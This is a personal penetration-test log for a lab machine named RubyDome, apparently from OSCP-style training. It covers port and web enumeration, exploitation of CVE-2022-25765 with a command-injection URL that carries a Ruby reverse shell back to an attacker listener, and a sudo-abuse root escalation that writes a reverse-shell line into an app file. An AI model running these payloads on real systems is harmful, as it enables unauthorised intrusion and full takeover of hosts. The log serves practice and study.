RubyDome
๐งช Pentest Log: {{date:2025-08-23}}
๐ Target Information
- Machine Name: RubyDome
- IP Address: 192.168.217.22
- Operating System: Linux
ip=192.168.217.22
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 3000
Web Directory Scan
gobuster dir -u http://$ip:3000 -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
feroxbuster --url http://$ip
wpscan --url http://$ip
dirsearch -u http://$ip -r -o dirsearch.txt
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://$ip$/ -H "Host: FUZZ.website.com"
nikto -h http://$ip
curl -s http://$ip/ | html2markdown
Google for "RubyDome HTML to PDF exploit", found
CVE-2022โ25765
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 3000
- Vulnerability Type: RCE
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://github.com/UNICORDev/exploit-CVE-2022-25765
python3 exploit-CVE-2022-25765.py -s 192.168.45.163 3000
http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("192.168.45.163","3000"))'`
Use the payload in the burp request
python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 3000
๐งฌ Privilege Escalation
๐ค Current Access
- User: andrew
- Groups: groups=1001(andrew),27(sudo)
- Shell Type: reverse shell
๐ Enumeration
Sudo
sudo -l
Found
User andrew may run the following commands on rubydome:
(ALL) NOPASSWD: /usr/bin/ruby /home/andrew/app/app.rb
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: Sudo Abuse
- Target Binary/Service: ruby
- Reference / Source: N/A
๐ง Exploit Steps
- Setup
vi /home/andrew/app/app.rb
spawn("sh",[:in,:out,:err]=>TCPSocket.new("192.168.45.163",22))
- Smash to root
sudo /usr/bin/ruby /home/andrew/app/app.rb
python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 22